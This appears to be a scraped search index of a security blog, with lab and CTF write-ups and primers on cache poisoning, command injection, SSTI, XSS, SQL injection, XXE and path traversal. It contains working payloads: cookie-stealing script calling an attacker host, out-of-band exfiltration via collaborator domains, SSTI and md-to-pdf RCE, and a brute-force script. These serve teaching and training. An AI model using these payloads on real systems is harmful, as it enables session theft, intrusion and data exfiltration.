Poisoning\u003c/h1\u003e\n\u003cp\u003eWeb cache poisoning is not web cache deception, is not response splitting or request smuggling\nweb cache deception tricking caches into storing sensitive information so the attackers can access to it.\nweb cache poisoning is serve payloads to users via cache responses\n\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/wcp/Pasted%20image%2020231126235320.png\"\u003e\u003c/p\u003e\n\u003cp\u003eCache keys: The unique identifier that the server wont cache (refresh based on that: only host + path)\n\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/wcp/Pasted%20image%2020231126235920.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;Everything that is not part of the cache key is part of the cache poisoning attack surface\u0026rdquo;\u003c/p\u003e","title":"Web Cache Poisoning Techniques"},{"content":"Cloudgoat RCE_WEB_APP Scenario Introduction CloudGoat is a training and learning platform developed by Rhino Security Labs to help individuals and organizations understand the risks and vulnerabilities associated with cloud-based applications. One of the scenarios available on CloudGoat is the RCE_web_app scenario, which allows users to practice exploiting remote code execution vulnerabilities in a web application running on the cloud.\nIn this blog post, we will walk through the RCE_web_app scenario in CloudGoat and provide a step-by-step guide on how to exploit the vulnerability and gain access to the application\u0026rsquo;s backend. We will also discuss the significance of this vulnerability and how it can be prevented in real-world scenarios. By the end of this post, you should have a better understanding of the risks and challenges associated with web application security in the cloud and how to mitigate them. So, let\u0026rsquo;s get started!\nSolution 1 When deploying the laboratory we have access to 2 users: Lara and MCduck, first we will start listing the services with the user Lara.\naws configure --profile Lara Finding EC2 Instances We decided to start by finding out which EC2 instances Lara has access to by running the following command.\naws ec2 describe-instances --profile Lara The output shows that Lara has access to an EC2 instance with a public IP. However, when we try to navigate to the IP in a browser, we get a timeout, so I decided to look at load balancers with this command\nFinding Elastic Load Balancers aws elbv2 describe-load-balancers --profile Lara We see a publicly accessible load balancer, we have the public DNS name, so we access it from browser and we see a landing page with nothing interesting, so if it exists a webpage, it needs a bucket to stores all the static files.\nFinding S3 Buckets aws s3 ls --profile Lara The output of this command shows us that Lara can list 3 buckets, as pictured below.\nThen we need to list the content of buckets with this command:\naws s3 ls s3://\u0026lt;bucket\u0026gt; --recursive --profile Lara This bucket appears to contain logs for the load balancer we discovered earlier, so we download the content with this command.\naws s3 cp s3://cg-logs-s3-bucket-rce-web-app-cgidtjk4gmqpko/cg-lb-logs/AWSLogs/261824994497/elasticloadbalancing/us-east-1/2019/06/19/555555555555_elasticloadbalancing_us-east-1_app.cg-lb-cgidp347lhz47g.d36d4f13b73c2fe7_20190618T2140Z_10.10.10.100_5m9btchz.log . --profile Lara We see an URL in the log files, after accessing to the URL we got a timeout, this path \u0026lsquo;mkja1xijqf0abo1h9glg.html\u0026rsquo; keeps repeating in all log urls, so maybe we need a valid url to access it, so we append the path to the previous URL we\u0026rsquo;ve found and we got a page to run commands.\nGetting Access via SSH From the EC2 enumeration we know that the instance has ssh enabled, but EC2 instances uses keys not credentials.\n","permalink":"https://blog.s4yhii.com/posts/2023-01-10-aws-cloudgoat-lab/","summary":"\u003ch1 id=\"cloudgoat-rce_web_app-scenario\"\u003eCloudgoat RCE_WEB_APP Scenario\u003c/h1\u003e\n\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eCloudGoat is a training and learning platform developed by Rhino Security Labs to help individuals and organizations understand the risks and vulnerabilities associated with cloud-based applications. One of the scenarios available on CloudGoat is the RCE_web_app scenario, which allows users to practice exploiting remote code execution vulnerabilities in a web application running on the cloud.\u003c/p\u003e\n\u003cp\u003eIn this blog post, we will walk through the RCE_web_app scenario in CloudGoat and provide a step-by-step guide on how to exploit the vulnerability and gain access to the application\u0026rsquo;s backend. We will also discuss the significance of this vulnerability and how it can be prevented in real-world scenarios. By the end of this post, you should have a better understanding of the risks and challenges associated with web application security in the cloud and how to mitigate them. So, let\u0026rsquo;s get started!\u003c/p\u003e","title":"Cloudgoat rce_web_app scenario"},{"content":"OS Command Injection Vulnerable Example The following snippet contains a Flask web application written in Python that executes the nslookup command to resolve the host supplied by the user.\n@app.route(\u0026#34;/dns\u0026#34;) def page(): hostname = request.values.get(hostname) cmd = \u0026#39;nslookup \u0026#39; + hostname return subprocess.check_output(cmd, shell=True) We can see the hostname appended to the command and executed on a subshell with the paratmeter shell=true, an attacker could stack another command with ; in the GET parameter to inject other commands for example cat /etc/paswd .\nPrevention The recommended approach to execute commands is using the subprocess API, with the option shell set to False.\nSafe example cmd= [\u0026#39;ping\u0026#39;, \u0026#39;-c\u0026#39;, \u0026#39;3\u0026#39;, address] p=Popen(cmd, shell=False, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True) @app.route(\u0026quot;/dns\u0026quot;) def page():\nhostname = request.values.get(hostname) cmd = 'nslookup ' + hostname return subprocess.check_output(cmd, shell=True) Server Site Template Injection (STTI) Vulnerable Example This snippet contains a Flask webapp written in Python, which concatenates user input data with a template string.\n@app.route(\u0026#34;/page\u0026#34;) def page(): name = request.values.get(\u0026#39;name\u0026#39;) output = Jinja2.from_string(\u0026#39;Hello \u0026#39; + name + \u0026#39;!\u0026#39;).render() return output The user input data is concatenated to the template text, allowing an attacker to inject template code, for example {% raw %}{{5*5}}{% endraw %} will be rendered as 25.\n{% raw %}\n$ curl -g \u0026#39;http://localhost:5000/page?name={{7*7}}\u0026#39; Hello 49! {% endraw %}\nDepending on the template engine, advanced payloads can be used to escape the template sandbox and gain RCE in the system, for example this snippet run a system command that add a malicious script in the tmp folder.\n{% raw %}\n$ curl -g \u0026#39;http://localhost:5000/page?name={{\u0026#39;\u0026#39;.__class__.mro()[1].__subclasses__()[46](\u0026#34;touch /tmp/malicious.sh\u0026#34;,shell=True)}}\u0026#39; {% endraw %}\nPrevention {% raw %}\n#Jinja2 import Jinja2 Jinja2.from_string(\u0026#34;Hello {{name}}!\u0026#34;).render(name=name) {% endraw %}\nSafe example def page_not_found(e): return render_template_string( \u0026#39;404 page not found error: the {{path}} resource does not exist.\u0026#39;, path=request.path), 404 Reflected Cross-Site Scripting in MOTD Prevention Input Validation Exact Match: Only accept values from a finite list of known values. Allow list: If a list of all the possible values can\u0026rsquo;t be created, accept only known good data and reject all unexpected input. Deny list: If an allow-list approach is not feasible (on free form text areas, for example), reject all known bad values. Content Security Policy (CSP) Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. CSP via a special HTTP header instructs the browser to only execute or render resources from those sources.\nFor example:\nContent-Security-Policy: default-src: \u0026#39;self\u0026#39;; script-src: \u0026#39;self\u0026#39; static.domain.tld The above CSP will instruct the web browser to load all resources only from the page\u0026rsquo;s origin and JavaScript source code files from static.domain.tld. For more details on Content Security Policy, including what it does and how to use it, see this article. notice how the motd variable is inserted into the HTML page using the safe Jinja filter, which disables HTML escaping of the content and introduces a reflected XSS vulnerability.\n{% raw %}\n#In vanilla Python, this can be escaped by this html method html.escape(\u0026#39;USER-CONTROLLED-DATA\u0026#39;) # In jinja everything is escaped by default except for values with |safe tag \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34; \\{{ url }}\u0026#34;\u0026gt;{{ text }}\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; {% endraw %}\nSafe example: {% raw %}\n\u0026lt;h2\u0026gt; welcome {{ username }}.\u0026lt;/h2\u0026gt; !{% if motd %} \u0026lt;p\u0026gt;{{motd|e}}\u0026lt;/p\u0026gt; {% endif %} {% endraw %}\nSQL Injection Vulnerable Example This Flask applicatin checks the user creentials against the SQL database.\n@app.route(\u0026#34;/login\u0026#34;) def login(): username = request.values.get(\u0026#39;username\u0026#39;) password = request.values.get(\u0026#39;password\u0026#39;) # Prepare database connection db = pymysql.connect(\u0026#34;localhost\u0026#34;) cursor = db.cursor() # Execute the vulnerable SQL query concatenating user-provided input. cursor.execute(\u0026#34;SELECT * FROM users WHERE username = \u0026#39;%s\u0026#39; AND password = \u0026#39;%s\u0026#39;\u0026#34; % (username, password)) # If the query returns any matching record, consider the current user logged in. record = cursor.fetchone() if record: session[\u0026#39;logged_user\u0026#39;] = username # disconnect from server db.close() This concatenates username and password, so an attacker could manipulate this to bypass the login mechanism.\nInjecting ' OR '1'='1';-- in the username, the query becomes:\nSELECT * FROM users WHERE username = \u0026#39;\u0026#39; OR \u0026#39;a\u0026#39;=\u0026#39;a\u0026#39;;-- AND password = \u0026#39;\u0026#39;; So this query return any entry in the users table thas has an empty username, so the attacker can log in as the first user in the table.\nPrevention Scrutinize all the SQL queries that use user-provided input from the HTTP request, such as from sources like request.args.get, request.args.args, and request.args.forms User parameterized queries, specifying placeholders for parameters Escape inputs before adding them to the query, query concatenation should be avoided Some python libraries provides the function to use parameterized queries on all type of databases.\nPyMySQL, MySQL-python cursor.execute(\u0026#34;SELECT * FROM users WHERE username = %s AND password = %s\u0026#34;, (username, password)) Safe example sql_statement = \u0026#34;SELECT username FROM users WHERE username=\u0026#39;%s\u0026#39; and password_hash=\u0026#39;%s\u0026#39;\u0026#34;, (username, password_hash, ) XML Entity Expansion (XXE) Vulnerable Example This flask snippet pases XML and returns the parsed content in html\n@tools.route(\u0026#34;/is_xml\u0026#34;, methods=[\u0026#39;POST\u0026#39;]) def tools_is_xml(): try: # read data from POST xml_raw = request.files[\u0026#39;xml\u0026#39;].read() # create the XML parser parser = etree.XMLParser() # parse the XML data root = etree.fromstring(xml_raw, parser) # return a string representation xml = etree.tostring(root, pretty_print=True, encoding=\u0026#39;unicode\u0026#39;) return jsonify({\u0026#39;status\u0026#39;: \u0026#39;yes\u0026#39;, \u0026#39;data\u0026#39;: xml}) except Exception as e: return jsonify({\u0026#39;status\u0026#39;: \u0026#39;no\u0026#39;, \u0026#39;message\u0026#39;: str(e)}) When the etree.fromstring method is called, it parses and expands with the external entity.\n\u0026lt;!DOCTYPE d [\u0026lt;!ENTITY e SYSTEM \u0026#34;file:///etc/passwd\u0026#34;\u0026gt;]\u0026gt;\u0026lt;t\u0026gt;\u0026amp;e;\u0026lt;/t\u0026gt; In this example the entity \u0026amp;e; is expanded with the content of /etc/passwd file.\nPrevention The safest way to prevent XXE is always to disable DTDs (External Entities) completely.\nDepending on the parser, the method should be similar to the following:\nparser = etree.XMLParser(resolve_entities=False, no_network=True) Disabling DTDs (Document Type Definitions) also makes the parser secure against denial of services (DOS) attacks such as Billion Laughs.\nIf external entities are necessary then:\nUse XML processor features, if available, to authorize only required protocols (eg: https). Use an entity resolver (and optionally an XML Catalog) to resolve only trusted entities. Safe example # create the XML parser parser = etree.XMLParser(resolve_entities=False, no_network=True) # parse the XML data root = etree.fromstring(xml_raw, parser) ","permalink":"https://blog.s4yhii.com/posts/2022-07-05-injections-in-python/","summary":"\u003ch1 id=\"os-command-injection\"\u003eOS Command Injection\u003c/h1\u003e\n\u003ch2 id=\"vulnerable-example\"\u003eVulnerable Example\u003c/h2\u003e\n\u003cp\u003eThe following snippet contains a Flask web application written in Python that executes the \u003ccode\u003enslookup\u003c/code\u003e command to resolve the host supplied by the user.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nd\"\u003e@app.route\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;/dns\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003epage\u003c/span\u003e\u003cspan class=\"p\"\u003e():\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ehostname\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003evalues\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehostname\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ecmd\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;nslookup \u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ehostname\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003esubprocess\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echeck_output\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eshell\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWe can see the \u003ccode\u003ehostname\u003c/code\u003e appended to the command and executed on a subshell with the paratmeter \u003ccode\u003eshell=true\u003c/code\u003e, an attacker could stack another command with \u003ccode\u003e;\u003c/code\u003e in the GET parameter to inject other commands for example \u003ccode\u003ecat /etc/paswd\u003c/code\u003e .\u003c/p\u003e","title":"Vulnerabilities in Python Code"},{"content":"Templated Dificulty: easy Description: Can you exploit this simple mistake? Solution First we visit the site and see that uses jinja2, this template is susceptible to SSTI attacks.\nWe see that the directory searched is rendered in the page with 25, so its vulnerable to SSTI.\nWe use the payload that will allow us to RCE on the server to read the file flag.txt, we extract it from PayloadsAllTheThings.\n# in curly brackets self._TemplateReference__context.cycler.__init__.__globals__.os.popen(\u0026#39;cat flag.txt\u0026#39;).read() Then we get the flag rendered.\nPhonebook Dificulty: easy Description: Who is lucky enough to be included in the phonebook? Solution when we enter to the web we see a login screen and a warning, there we discover the user reese, but we lack the password, in this case after trying brute force in the password field, the payload \u0026lsquo;*\u0026rsquo; allowed me to bypass the login, then it is deduced that it uses wildcards and the flag is the password of reese, since it begins with HTB{*.\nWe created a python script to brute force the pass with the help of the string and request library, I leave the script here for you to try it.\nimport requests import string def obtain_flag(url, flag): creds = {\u0026#39;username\u0026#39;:\u0026#39;reese\u0026#39;, \u0026#39;password\u0026#39;: flag} r=requests.post(url,data=creds) if \u0026#39;success\u0026#39; in r.text: return True else: return False if __name__==\u0026#34;__main__\u0026#34;: letters = list(string.ascii_letters) begin=\u0026#39;HTB{\u0026#39; payload= letters + list(string.digits) + [\u0026#39;,\u0026#39;,\u0026#39;_\u0026#39;,\u0026#39;-\u0026#39;,\u0026#39;}\u0026#39;] flag=\u0026#39;\u0026#39; url= \u0026#34;http://206.189.26.97:30301/login\u0026#34; while True: for i in payload: flag=begin+i+\u0026#39;*\u0026#39; if obtain_flag(url,flag): begin=begin+i print(begin) else: print(begin) After executing the script we wait for it to decrypt the password and we get the flag.\nLovetok Dificulty: easy Description: True love is tough, and even harder to find. Once the sun has set, the lights close and the bell has rung\u0026hellip; ","permalink":"https://blog.s4yhii.com/posts/2022-07-01-web-challenges-htb/","summary":"\u003ch1 id=\"templated\"\u003eTemplated\u003c/h1\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/challenges/ch0.jpg\"\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDificulty: easy\u003c/li\u003e\n\u003cli\u003eDescription: Can you exploit this simple mistake?\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"solution\"\u003eSolution\u003c/h2\u003e\n\u003cp\u003eFirst we visit the site and see that uses jinja2, this template is susceptible to \u003ccode\u003eSSTI attacks\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/challenges/ch1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003eWe see that the directory searched is rendered in the page with 25, so its vulnerable to SSTI.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/challenges/ch2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003eWe use the payload that will allow us to \u003ccode\u003eRCE\u003c/code\u003e on the server to read the file \u003ccode\u003eflag.txt\u003c/code\u003e, we extract it from \u003ca href=\"https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2---remote-code-execution\"\u003ePayloadsAllTheThings\u003c/a\u003e.\u003c/p\u003e","title":"HackTheBox Web Challenges"},{"content":"OS command injection allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data.\nOS command injection, simple case This lab contains an OS command injection vulnerability in the product stock checker.\nThe application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.\nTo solve the lab, execute the whoami command to determine the name of the current user.\nSolution:\nWe intercept the option check stock with Burpsuite to see what parameters are being sent by the function.\nWe see that it is passing the productID and storeID parameters, we will use ; to add the whoami command at the system level, we can also use | to add another command to the function.\nWe see that it returns the user peter, and the error is due to the fact that whoami is accompanied by another parameter which is the storeID, but we can see the execution of the command in the output.\nBlind OS command injection with time delays This lab contains a blind OS command injection vulnerability in the feedback function.\nThe application executes a shell command containing the user-supplied details. The output from the command is not returned in the response.\nTo solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.\nSolution:\nSince we know that the vulnerability is present, we must intercept the feedback request.\nWe see the entered fields, now we will try in each field the following payload which was url encoded followed and before a semicolon so that the system executes it since it is blind.\n%3bping+-c+10+127.0.0.1%3b I tried each field and the one I got a response 10 seconds later was the email field.\nBlind OS command injection with output redirection This lab contains a blind OS command injection vulnerability in the feedback function.\nThe application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at:/var/www/images/\nSolution:\nSince we know the writable folder, we will intercept the request after sending a feedback and append the command whoami. then redirect the output to a file in the images directory.\n%3bwhoami+\u0026gt;+/var/www/images/whoami.txt%3b\nUsing this payload in the name field, we can exploit this vulnerability and retrieve the identity if the machine.\nWe retrieve the user peter-5ecF3J accessing to the file whoami.txt created before.\nBlind OS command injection with out-of-band interaction This lab contains a blind OS command injection vulnerability in the feedback function.\nThe application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application\u0026rsquo;s response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.\nSolution:\nThe same approach as others, we intercept the request and append the payload %3bnslookup+kh517r226djh7tygiznk82rw6nce03.burpcollaborator.net%3b next to the mail field and in the burp collaborator windows wait for the response.\nWe received the response, so we have out-of-band command injection.\nBlind OS command injection with out-of-band data exfiltration This lab contains a blind OS command injection vulnerability in the feedback function.\nThe application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application\u0026rsquo;s response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.\nSolution:\nModify the email parameter, changing it to something like the following payload: %3bnslookup+'whoami'zil3gb1836jd20t5u772s4e7pyvojd.burpcollaborator.net%3b this will exfiltrate the command output data to the burp collaborator client.\nWe receive the output of the command and retrieve the user peter-wGfYie.\nHow to prevent OS command injection attacks By far the most effective way to prevent OS command injection vulnerabilities is to never call out to OS commands from application-layer code. In virtually every case, there are alternate ways of implementing the required functionality using safer platform APIs.\nIf it is considered unavoidable to call out to OS commands with user-supplied input, then strong input validation must be performed. Some examples of effective validation include:\nValidating against a whitelist of permitted values. Validating that the input is a number. Validating that the input contains only alphanumeric characters, no other syntax or whitespace. Never attempt to sanitize input by escaping shell metacharacters. In practice, this is just too error-prone and vulnerable to being bypassed by a skilled attacker.\n","permalink":"https://blog.s4yhii.com/posts/2022-06-10-os-command-injection-labs/","summary":"\u003cp\u003eOS command injection allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data.\u003c/p\u003e\n\u003ch1 id=\"os-command-injection-simple-case\"\u003eOS command injection, simple case\u003c/h1\u003e\n\u003cp\u003eThis lab contains an \u003ca href=\"https://portswigger.net/web-security/os-command-injection\"\u003eOS command injection\u003c/a\u003e vulnerability in the product stock checker.\u003c/p\u003e\n\u003cp\u003eThe application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.\u003c/p\u003e","title":"Os Command Injection Labs"},{"content":"Cross-site scripting known as XSS is a web vulnerability in which malicious scripts are injected int benign and trusted websites. XSS occur when an attacker send malicious code in any user input fields in a browser to a different end-user.\nMechanisms In an XSS attack the attacker inject script in HTML code so you\u0026rsquo;ll have to know javascript and HTML syntax, wbe uses scripts to control client-side application logic and make the website interactive, for example this script generates Hello! pop-up on the web page:\n\u0026lt;html\u0026gt; \u0026lt;script\u0026gt;alert(\u0026#34;Hello!\u0026#34;);\u0026lt;/script\u0026gt; \u0026lt;h1\u0026gt;Welcome to my page\u0026lt;/h1\u0026gt; \u0026lt;html\u0026gt; Script like this that are embedded in HTML file instead of loaded from are separated file are called inline scripts. These script causes XSS vulnerabilities, scripts can also be loaded from an external file like this: \u0026lt;script src=\u0026quot;URL_OF_EXTERNAL_FILE\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;\nIf the website doesn\u0026rsquo;t validate the input before render the message, it will cause XSS, validating user input means that the application checks that the user input meets a certain standard, sanitizing in the other hand means that the application modifies special characters in the input that can be used to interfere with HTML logic before further processing.\nAs a result the inline script will cause a redirection to an another url. The src attribute of HTML script tag allwo to load javascript form external source, this code will execute the content of *https://attacker.om/xss.js/* on the victim browser:\n\u0026lt;script src=http://attacker.com/xss.js\u0026gt;\u0026lt;/script\u0026gt; This example is not exploitable because there is no way of inject this in other users pages, but let´s say the site allow users to subscribe to a newsletter with the URL https://subscribe.com?email?=USER_EMAIL after the user visit this page, they are automatically subscribed, and the confirmation message will appear on the web, so we can inject xss payload for users who visit this URL https://subscribe,com?email=\u0026lt;script\u0026gt;location=\u0026quot;\u0026lt;http://attacker.com\u0026gt;\u0026quot;;\u0026lt;/script\u0026gt; since the malicious script is incorporated in the page, the user will think its safe, so we can access any resources that the browser stores for that site, for example this code will steal user cookies by sending a request to the attacker IP.\n\u0026lt;script\u0026gt;image=new Image(); image.src=\u0026#39;http://atttacker_site_ip/?c=\u0026#39;+document.cookie;\u0026lt;/script\u0026gt; Reflected XSS Input from a user is directly returned to the browser, permitting injection of arbitrary content A classic example would be a URL, which contain a parameter that can be altered by a user, where the input is mirrored and made visible. Example URL: \u0026lsquo;https://example.com/?user=jesus\u0026rsquo; Example Output:\n\u0026lt;span id=\u0026#39;user\u0026#39;\u0026gt; \u0026lt;b\u0026gt; Hi jesus\u0026lt;/b\u0026gt; \u0026lt;/span\u0026gt; Stored XSS Input from a user is stored on the server (database) and returned later without proper escaping and sanitization to the user\nDOM XSS Input from a user is inserted into the page\u0026rsquo;s DOM without proper handling, enabling insertion of arbitrary nodes\nRecognition for XSS\nFigure out where it goes, embedded in a tag attr or embedded in a script? Figure out how special characters are handled: A good way is to input something like \u0026lt; \u0026gt; ' \u0026quot; { } ; : \u0026quot;\u0026gt;\u0026lt;h1\u0026gt;test\u0026lt;/h1\u0026gt; '+alert(1)+' \u0026quot;onmouseover=\u0026quot;alert(1) http://onmouseover=\u0026quot;alert(1) ","permalink":"https://blog.s4yhii.com/posts/2022-05-10-cross-site-scripting-xss/","summary":"\u003cp\u003eCross-site scripting known as XSS is a web vulnerability in which malicious scripts are injected int benign and trusted websites. XSS occur when an attacker send malicious code in any user input fields in a browser to a different end-user.\u003c/p\u003e\n\u003ch2 id=\"mechanisms\"\u003eMechanisms\u003c/h2\u003e\n\u003cp\u003eIn an XSS attack the attacker inject script in HTML code so you\u0026rsquo;ll have to know javascript and HTML syntax, wbe uses scripts to control client-side application logic and make the website interactive, for example this script generates \u003cem\u003eHello!\u003c/em\u003e pop-up on the web page:\u003c/p\u003e","title":"Cross Site Scripting (XSS)"},{"content":"Kryptos Support Checking the web page of this challenge gives a form to send an issue and an admin will review that issue. So its interesting, maybe the admin will click in that issue and we can inject some kind of payload, like an stored xss, these approach is similar to the bankrobber box in htb.\nSo we can craft the payload to steal the cookie of the admin or the user who will review out ticket.\n\u0026lt;script\u0026gt; var i=new Image(); i.src=\u0026#39;https://yourip.sa.ngrok.io?cookie=\u0026#39;+escape(document.cookie);\u0026lt;/script\u0026gt; After set up our ngrok proxy and netcat listening in one port, with this payload we can steal the reviewer account cookie.\nWe receive the response and the cookie\nsession=DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTMwMjI3OTZ9.KpxQxzNncJfI12UlhXA3t7Li8TOB18dNr0FmMCb0ksA So we can create a cookie with the name session and copy the value.\nFrom the files we can see that one directory is tickets, so i try to enter and we can see we are moderator\nWe see a function to reset a password, maybe we can try an IDOR for User Account Takeover changing the password of admin. Intercepting the request to the reset password function, we can change the uid from 100 to 1, and resend with our password.\n{\u0026#34;password\u0026#34;:\u0026#34;jesus\u0026#34;,\u0026#34;uid\u0026#34;:\u0026#34;1\u0026#34;} And finally we can login as admin with our password and see our flag\nHTB{x55_4nd_id0rs_ar3_fun!!}\nBlinker Fluids Checking the web page of this challenge i can see an invoice list, i can edit, delete and export an invoice in pdf format, an interesting thing is that we submit the invoice in markdown and its converted to pdf, so lets check the source code.\nWe see the add function calls mdhelper to convert the markdown file to pdf, so checking mdhelper.js file we see this:\nWe see that is using the md-to-pdf node module so with some research on google i found this Synk Vuln DB: CVE-2021-23639\nCode of the POC:\nconst { mdToPdf } = require(\u0026#39;md-to-pdf\u0026#39;); var payload = \u0026#39;---jsn((require(\u0026#34;child_process\u0026#34;)).execSync(\u0026#34;id \u0026gt; /tmp/RCE.txt\u0026#34;))n---RCE\u0026#39;; Then i change the payload to copy the flag, which is in the root directory to the invoice of default in the directory static/invoices, so the payload was:\n---javascript ((require(\u0026#34;child_process\u0026#34;)).execSync(\u0026#34;cp /flag.txt /app/static/invoices/f0daa85f-b9de-4b78-beff-2f86e242d6ac.pdf\u0026#34;) ---RCE Then when i open the invoice it gives me an error, but in dev tools i can see the base64 string which is the flag.\nHTB{bl1nk3r_flu1d_f0r_int3rG4l4c7iC_tr4v3ls}\nThanks for read, Happy Hacking!\n","permalink":"https://blog.s4yhii.com/posts/2022-05-19-htb-cyber-apocalypse-ctf-web-writeups/","summary":"\u003ch1 id=\"kryptos-support\"\u003eKryptos Support\u003c/h1\u003e\n\u003cp\u003eChecking the web page of this challenge gives a form to send an issue and an admin will review that issue.\n\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/ctf/ctf1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003eSo its interesting, maybe the admin will click in that issue and we can inject some kind of payload, like an stored xss, these approach is similar to the bankrobber box in htb.\u003c/p\u003e\n\u003cp\u003eSo we can craft the payload to steal the cookie of the admin or the user who will review out ticket.\u003c/p\u003e","title":"Cyber Apocalypse 2023 2x Web Challenges Writeup"},{"content":"Also known as file path traversal allows to read arbitrary files on the servers. in some cases an attacker might be able to write arbitrary files on the server, allowing them to modify application data or behavior.\nReading arbitrary files via directory traversal We can use the .. characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.\nFor example the url takes a filename parameter and returns the content of the file, the aplicaciones appends the requested filename to this base directort and uses an API to read the contents, so the application implements no defenses against directory traversal attacks,so an attacker can request the following URL to retrieve an arbitrary file from the server\u0026rsquo;s filesystem:\nhttps://insecure-website.com/loadImage?filename=../../../etc/passwd\nThe sequence ../ is valid within a file path, and means to step up one level in the directory structure. The three consecutive ../ sequences step up from /var/www/images/ to the filesystem root, and so the file that is actually read is:\n/etc/passwd\nHere are some encoded ../ values to bypass some wafs.\n../ ..\\ %2e%2e%2f %252e%252e%252f %c0%ae%c0%ae%c0%af %uff0e%uff0e%u2215 %uff0e%uff0e%u2216 File path traversal, simple case Objective: To solve the lab, retrieve the contents of the /etc/passwd file.\nFirst we need to find the potential vector to use this vulnerability, so in the web we see an image and when we access the url, we can see a parameter called filename next to the name of the image, we intercept the request of the image with Burpsuite.\nThen we see that it is making a get request to 22.jpg which is the name of the image. We need to change the name to the requested file, but as we don\u0026rsquo;t know how many directories back it is, we go back several times with this payload ../../../../../../etc/paswd and when we send the request we retrieve the file with users.\nCommon obstacles to exploiting file path traversal vulnerabilities File path traversal, traversal sequences blocked with absolute 